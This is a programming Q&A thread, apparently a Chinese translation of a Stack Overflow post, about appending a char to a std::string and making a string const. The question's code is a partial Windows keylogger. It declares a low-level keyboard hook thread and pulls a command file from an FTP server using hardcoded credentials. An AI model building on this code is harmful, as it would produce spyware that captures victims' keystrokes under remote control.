0

假设我有一个没有 const 的 char 或 char 数组。我修改它等。然后我想稍后关闭所有修改。有没有办法重建一个字符?当我编写以下内容时出现了这个问题:我无法将每个 char 元素附加到一个字符串中(后来用运算符 += 修复)。

#include <iostream>
#include <windows.h>
#include <process.h>
#include <string>
#include <Wininet.h>
#include <vector>

using std::string;
using std::cout;
using std::cin;
using std::vector;

unsigned int __stdcall keylogthreadhook(void *);
LRESULT CALLBACK LowLevelKeyboardProc(int, WPARAM, LPARAM);


string tempkeylog_buffer;
char ftpreadbuffer[1024];
vector<string> filetokens;

unsigned int threadid = 0;
DWORD numberread = 0;


int main(){

_beginthreadex(NULL,  0, &keylogthreadhook, NULL, 0, &threadid);

HINTERNET connection = InternetOpen("Keyclient", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);

cout << GetLastError();

HINTERNET ftpinstance = InternetConnect(connection, "ftp.drivehq.com", INTERNET_DEFAULT_FTP_PORT, "ludibrium", "22073kk", INTERNET_SERVICE_FTP, NULL, NULL);

cout << GetLastError();

HINTERNET filehandle = FtpOpenFile(ftpinstance, "command.txt", GENERIC_READ,FTP_TRANSFER_TYPE_ASCII, NULL);

cout << GetLastError();

InternetReadFile(filehandle, (char *)ftpreadbuffer, 1024, &numberread);

cout << GetLastError();

string temporarystr;


for(int i = 0; ftpreadbuffer[i] != '.'; i++){

    if(ftpreadbuffer[i] == '\n'){
        filetokens.push_back(temporarystr);
        temporarystr.clear();
    }

    temporarystr.append(ftpreadbuffer[i]); //error here!


}

cout << filetokens[0].c_str() << filetokens[1].c_str();




return 0;
}

错误:-------------------------

invalid conversion from 'char' to 'const char*'|

error:   initializing argument 1 of 'std::basic_string<_CharT, _Traits, _Alloc>&       std::basic_string<_CharT, _Traits, _Alloc>::append(const _CharT*) [with _CharT = char, _Traits = std::char_traits<char>, _Alloc = std::allocator<char>]'|
4

1 回答 1

4

我将使用一个简单的方法,例如:

std::string modifiable_string = "Hello";

modifiable_string += " Jack!";

...

const std::string &const_string = modifiable_string;
//                ^
//                It's up to you, you can drop it

...

just use const_string

const_string += " Bye"; // ERROR

...
于 2013-05-24T07:17:51.090 回答